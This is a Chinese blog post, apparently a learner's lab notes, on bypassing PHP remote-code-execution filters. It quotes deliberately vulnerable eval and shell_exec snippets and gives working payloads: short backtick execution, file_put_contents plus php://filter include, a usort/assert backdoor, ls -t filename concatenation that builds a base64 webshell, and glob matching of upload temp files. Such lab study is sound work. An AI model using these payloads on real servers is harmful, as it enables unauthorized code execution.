RCE绕过练习

news2024/12/24 20:57:15

一.了解eval与assert

eval与assert区别_eval assert-CSDN博客icon-default.png?t=N7T8https://blog.csdn.net/qq_53568983/article/details/129782507

看了php官方文档,assert中提到的许多名词不明白,转而搜索文章,这篇是解释的是最直白的

其中提到eval不是一个函数,是语言构造器,不能被可变函数调用

什么是语言构造器和可变函数

你提到的“语言构造器”,英文是"language construct",是语言构成的意思,翻译成语言构造器难免有点令人困惑。PHP里有echoprintdierequire等几个特殊的关键字,虽然它们用起来像是函数,但实际上更类似于ifwhile这样控制语句,而不是一个函数。也就是说,当解释器遇到:

print 'Hello world';

这样的一个表达式的时候,并不会把它转换成函数调用,而是直接映射到一系列预先定义好的操作。使用语言构成的时候可以加括号,也可以不加括号,但是使用函数的时候必须加括号。

你提到的“可变函数”,英文是"variable function",变量函数的意思,翻译成“可变函数”也有点扭曲原义,把variable(变量)这个名词按形容词(可变)的含义来翻译了。PHP里的Variable function是指如果在一个变量后面加上一对括号,那么解释器会试图寻找名字和这个变量的值一样的一个函数,如果找到了就执行它。例如,有一个函数foo(),那么可以用下面这种方式调用这个函数:

// 初始化一个字符串变量
$func = 'foo';

// 找到名字和这个字符串一样的函数,并且执行它
$func();

所以,你提到的这句话的含义就是,使用变量函数这种方式来调用一个语言构成是不允许的,例如下面这样:

$func = 'print';

// 这样做会产生异常,因为print不是一个函数,而是语言的构成部分
$func('hello world');

执行这段代码,会产生一个异常,函数print没有定义。

   eval可以动态传参,但是不能作为回调函数传递,也不可以像函数一样被动态调用

assert

        我们看官方文档,提到的asser的用法,其中有两个参数assertion与description

assert(mixed $assertion, Throwable|string|null $description = null): bool

 

不明白啥是断言,不重要,但是看到了assert会运行assertion参数,查看警告内容发现

感觉这里就是老师为什么写,因为当assertion参数为string时,会用eval执行,那直接写不是也可以

以及为什么当时传参数&post会失败,因为要求assertion参数为带返回值的表达式或字符串,用eval包裹起来是本质就是会用eval来执行.

assert(eval(),$post[])

 RCE-1

        这里想用Linux环境的,但是不知道说未找到文件,可是文件在啊

不纠结这个,用了小皮直接弄,看第一题代码

<?php
$param = $_REQUEST['param'];  If (
strlen($param) < 17 &&  stripos($param, 'eval') === false &&  stripos($param, 'assert') === false
) {
eval($param);
}

要求长度在17个字符内且不出现关键字eval与assert

发现第一题要执行代码,还是弄Linux

研究了下发现是习惯了小皮写路径,Linux不写就可以了

1题关键在于不能用eval和assert执行命令

方法1

http://192.168.23.132/xiaoa.php?param=echo%20`$_GET[1]`;&1=id

更改子句即可达到不同效果,但是要注意权限 

PPT里说可以用exec,那system应该也可以     

 不可以,应该是超长度了

方法2

        使用file_put_contents函数

这个函数的作用是将数据写入文件的

file_put_contents(
    string $filename,
    mixed $data,
    int $flags = 0,
    ?resource $context = null
): int|false

其中有四个参数

$filename是要传入的参数名,$date是传入数据 ,$flags是

于是便有语句

http://192.168.23.132/xiaoa.php?1=file_put_contents&param=$_GET[1](N,P,8);

通过多次追加让文件N内形成经过base64转码后的php脚本

注:1.用base64转码是因为有部分特殊字符,file_put_contents无法追加.

2.$flag位置该写FILE_APPEND

表示追加,写8的原因一个是php底层C语言代码8代表追加,另一个是FILE_APPEND会超出长度限制

追加完成后用方法3中include执行

http://192.168.23.132/xiaoa.php?param=include$_GET[1];&1=php://filter/read=convert.b%20%20ase64-decode/resource=N

方法3

        include会把文件当作php文件执行

phpinfo(); ⇒ $_FILES[file][tmp_name] ⇒ include

这是PPT上的语句,看看啥意思

解释说这是一个超全局数组,tmp_name是临时文件名,意思是会将上传的临时文件当作php代码执行

猜测是前面的子句作为文件内容传递给数组,再传递给include执行

方法4

        PHP5.6+变长参数 ⇒ usort回调后门 ⇒ 任意代码执行

?1[]=test&1[]=phpinfo();&2=assert

我用的php是7.4的,... 代表可变长参数,里面的参数这里有2个

第一个是数组,第二个是回调函数assert,把数组里的数据全部传给回函数执行

RCE-2

        代码,要求长度不能大于8

<?php
$param = $_REQUEST['param'];  
If ( strlen($param) < 8 ) 
{  echo shell_exec($param);
}

 shell_exec可以执行shell脚本

方法1

第一步先用data>file把脚本生成,这个可以将数据内容重定向文件,不要内容,将文件名当作命令慢慢拼凑

ls -t ech\ o \    PD9\ waH\ AgZ\ XZh\ bCg\ kX0\ dFV\ Fsx\ XSk\  7|\    bas\ e64\    -\    d>\    xx.p\ hp

ls -t命令会以时间顺序展示文件,去掉换行符就是一条完整的语句

换行符每次都被\转义

发现这个方法的简直是个人才,这都可以

RCE-3

        无字母数字webshell代码

<?php
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>35){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_$]+/",$code)){
        die("NO.");
    }
    eval($code);
}else{
    highlight_file(__FILE__);
}

php7下的解决方法

        不允许出现字母数字,就直接子句位取反

PHP5下的解决方法

        利用上传产生的临时文件,执行临时文件生成脚本

难点:如何匹配临时文件

答:临时文件结尾字母为大写字母高概率

Linux中有glob通配符

Glob通配符-CSDN博客icon-default.png?t=N7T8https://blog.csdn.net/zhuchuji/article/details/51297819如何上传临时文件

        1.先建立一个脚本文件

        

        2.写一个html文件提交页面

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <form action="xiaoa.php" method="post" enctype="multipart/form-data">
        <input type="file" name="file" id="">
        <input type="submit", value="submit">
    </form>
    
</body>
</html>

3.第三步抓包,抓到提交包和访问包

 

 4.修改访问包

 这里的code得写匹配临时文件的表达式,通过glob表达式匹配

glob表达式 - 简书 (jianshu.com)icon-default.png?t=N7T8https://www.jianshu.com/p/91eb8d81da64

  • *可以代替0个及以上任意字符

  • ?可以代表1个任意字符

php的临时文件中含有大写字母,在ascii表中大写字母@到[

使用/???/????????[@-[]匹配 

5.如何执行文件

在linux中使用.+文件名可以让没有执行权限的文件执行,现在就考虑如何拿到点表示当前路径

这里不用,记岔了,下一个文章写如何拿到点

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2041141.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Git代码管理规范

1. 简介 git 分支分为集成分支、功能分支和修复分支&#xff0c;分别命名为 develop、feature 和 hotfix&#xff0c;均为单数。不可使用 features、future、hotfixes、hotfixs 等错误名称。 master&#xff08;主分支&#xff0c;永远是可用的稳定版本&#xff0c;不能直接在…

数据中台运营与实战案例集锦(125页PPT)

方案简介&#xff1a; 本篇通过理论讲解与实战案例相结合的方式&#xff0c;深入剖析了数据中台的概念、架构、关键技术、实施路径以及运营策略。内容覆盖从数据中台规划到落地的全过程&#xff0c;包括数据治理、数据资产管理、数据服务化、数据分析与挖掘、以及如何通过数据…

PythonStudio 控件使用常用方式(二十六)TProgressBar

PythonStudio是一个极强的开发Python的IDE工具&#xff0c;官网地址是&#xff1a;https://glsite.com/ &#xff0c;在官网可以下载最新版的PythonStudio&#xff0c;同时&#xff0c;在使用PythonStudio时&#xff0c;它也能及时为用户升到最新版本。它使用的是Delphi的控件&…

MySQL:复杂查询(一)——聚合函数分组查询联合查询01

目录 1、聚合查询 1.1 聚合函数 1.1.1 COUNT() 1.1.2 SUM() 1.1.3 AVG() 1.1.4 MAX()&#xff0c;MIN() 1.2 分组查询 1.2.1 GROUP BY子句 1.2.1.1 round() 1.2.2 HAVING 1.2.3 示例 2、联合查询&#xff08;表连接查询&#xff09; 2.1 内连接 2.1.1 ①取相关表笛…

机器学习——全连接(MLP多层感知机)的理解

全连接即是矩阵乘&#xff0c;因此在transformer中获取QKV理论上是输入与QKV权重矩阵相乘&#xff0c;但实际操作则是使用全连接即nn.Linear()&#xff0c;注意这里的输入和输出都是二维的[batch,d_model]&#xff0c;即每个样本是一维的。

【Echarts】custom自定义图表实现甘特图

效果图 主要注意点&#xff1a; 1、右上角图例visualMap实现 2、visualMap增加formatter 3、series使用custom自定义图表&#xff0c;encode解析四维数组。核心是renderItem方法&#xff0c;必填项&#xff0c;且需要注意要全部定义在options里面&#xff01;&#xff01;&…

程序员如何平衡日常编码工作与提升式学习?

程序员的两难&#xff1a;如何平衡日常编码与持续学习 在科技日新月异、更新迭代迅速的编程世界中&#xff0c;程序员面临的一个重要挑战是如何在繁忙的日常编码工作和持续的专业提升之间找到平衡。是否应当在工作时间全身心投入到项目推进中&#xff0c;还是应该抽出时间学习…

第38篇 冒泡排序<二>

Q&#xff1a;如何设计C语言程序对数组进行降序排列&#xff1f; A&#xff1a;基本原理&#xff1a;通过不断的比较和交换数组中的数据元素&#xff0c;最终使得最大的数据“冒泡”排到到数组最末&#xff0c;并逐步缩小待排序的范围直到所有数据都排列正确位置。首先定义简单…

行业大模型:信用评分大模型、生产优化大模型、库存管理大模型、物流行业大模型、零售行业大模型

金融行业大模型&#xff1a;信用评分大模型 信用评分模型在金融行业中扮演着至关重要的角色&#xff0c;它通过对个人或企业的信用状况进行评估&#xff0c;帮助金融机构有效控制风险&#xff0c;提高业务效率。以下是信用评分模型的特点及案例介绍&#xff1a; 信用评分模型…

git放弃本地add/commit

git放弃本地add/commit 还未添加add的情况已经执行git add缓存了的&#xff1a;可以用命令 还未添加add的情况 # 放弃某个文件git checkout <filename># 放弃所有文件git checkout .已经执行git add缓存了的&#xff1a;可以用命令 git reset HEAD filepathname &#x…

【开端】如何高效记录并整理编程学习笔记

如何高效记录并整理编程学习笔记&#xff1f; 在编程学习的海洋中&#xff0c;高效的笔记记录和整理方法就像一张珍贵的航海图&#xff0c;能够帮助我们在浩瀚的知识中找到方向。如何建立一个既能快速记录又易于回顾的笔记系统&#xff1f;如何在繁忙的学习中保持笔记的条理性…

巴黎奥运会中国奖牌数据分析

目录 一、每个比赛日奖牌变化数据分析 二、奖牌项目占比数据分析 2.1金牌中项目占比分析 2.2 银牌中项目占比分析 2.3 铜牌中项目占比分析 2.4 奖牌总数中项目占比分析 在巴黎奥运会上&#xff0c;中国队的表现可谓亮眼&#xff0c;各项比赛日的奖牌总数和不同项目的奖牌…

【软件测试】功能测试理论基础

目录 项目的测试流程&#x1f3f4; 需求评审 评审形式 测试人员在需求评审中职责 测试计划与方案 测试计划 问题 测试方案&#x1f3f4; 测试计划与方案的对比 功能测试设计&#x1f3f4; 测试设计的步骤 项目的测试流程&#x1f3f4; 作用&#xff1a; 有序有效开展…

js 深拷贝、浅拷贝深度解析

赋值操作&#xff1a; let obj{a:1,b:[1,2,3],c:{m:2}}let newObjobjnewObj.a2newObj.b.push(4)newObj.c.m3console.log(obj,newObj); 将一个对象赋值给一个变量&#xff0c;其实就是将这个对象在栈内存中的引用地址复制给了这个变量&#xff0c;这两个对象指向堆内存中的同一个…

基于SpringBoot+Vue的产业园区智慧公寓管理系统(带1w+文档)

基于SpringBootVue的产业园区智慧公寓管理系统(带1w文档) 基于SpringBootVue的产业园区智慧公寓管理系统(带1w文档) 当前的网络技术&#xff0c;软件技术等都具备成熟的理论基础&#xff0c;市场上也出现各种技术开发的软件&#xff0c;这些软件都被用于各个领域&#xff0c;包…

Multisim 用LM358 运放模拟线性稳压器 - 运放输出饱和 - 前馈电容

就是拿运放搭一个可调的LDO 稳压器&#xff0c;类似下面这个功能框图里的感觉。本来应该非常简单&#xff0c;没什么好说的&#xff0c;没想到遇到了两个问题。 原理 - 理想运放 我用PNP 三极管Q2 作为输出&#xff0c;运放输出电压升高时&#xff0c;流过PNP 三极管BE 的电流变…

【proteus经典实战】报警器与旋转灯

一、简介 报警器与旋转灯项目是一个典型的嵌入式系统应用&#xff0c;它结合了声音报警和视觉指示功能&#xff0c;广泛应用于安全监控、紧急疏散、交通信号和娱乐设备等多种场景。基于51单片机提供一种集成的声音和视觉报警解决方案&#xff0c;通过声音和灯光的结合&#xff…

12 中断

12 中断 1、内核中断编程2、顶半部和底半部机制2.1 任务的相关概念2.1.1 分类2.1.2 优先级2.1.3 进程调度2.1.4 休眠sleep 2.2 顶半部和底半部实现机制2.2.1 顶半部特点2.2.2 底半部特点2.2.3 底半部实现方法之:tasklet2.2.4 底半部实现机制之工作队列2.2.5 底半部实现机制之软…

微信会员卡怎么做_便捷生活新风尚

在这个快节奏的时代&#xff0c;每一次消费不仅是简单的商品交换&#xff0c;更是一场关于个性、便捷与尊享的深刻体验。随着数字化浪潮的汹涌澎湃&#xff0c;微信会员卡应运而生&#xff0c;它以独特的魅力&#xff0c;重新定义了商家与顾客之间的关系&#xff0c;开启了一场…

网鼎杯-2018-Web-Unfinish

先尝试万能注入&#xff1a; 如果万能注入缺少符号&#xff0c;如果加符又进不去&#xff0c;那我们尝试扫描文件,然后发现有一个register.php的文件&#xff0c;应该是注册页面&#xff0c;我们去打开 知道存储的文件&#xff0c;并利用状态码进行过滤 我们注册的用户名就是aa…